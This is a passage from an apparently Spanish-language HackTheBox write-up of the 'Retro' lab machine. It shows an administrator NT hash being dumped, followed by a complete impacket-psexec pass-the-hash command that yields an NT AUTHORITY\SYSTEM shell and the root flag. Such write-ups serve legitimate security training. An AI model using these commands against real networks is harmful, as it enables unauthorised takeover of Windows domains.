[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@retro.vl': aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389
Con el hash del administrador puedo obtener una shell via psexec:
┌──(wndr㉿wndr)-[~/Machines/hackthebox/retro]
└─$ impacket-psexec retro.vl/Administrator@10.129.15.172 -hashes aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.15.172.....
[*] Found writable share ADMIN$
[*] Uploading file gugsRGGZ.exe
[*] Opening SVCManager on 10.129.15.172.....
[*] Creating service Ekov on 10.129.15.172.....
[*] Starting service Ekov.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txt
40fce9c3f09024bcab2******


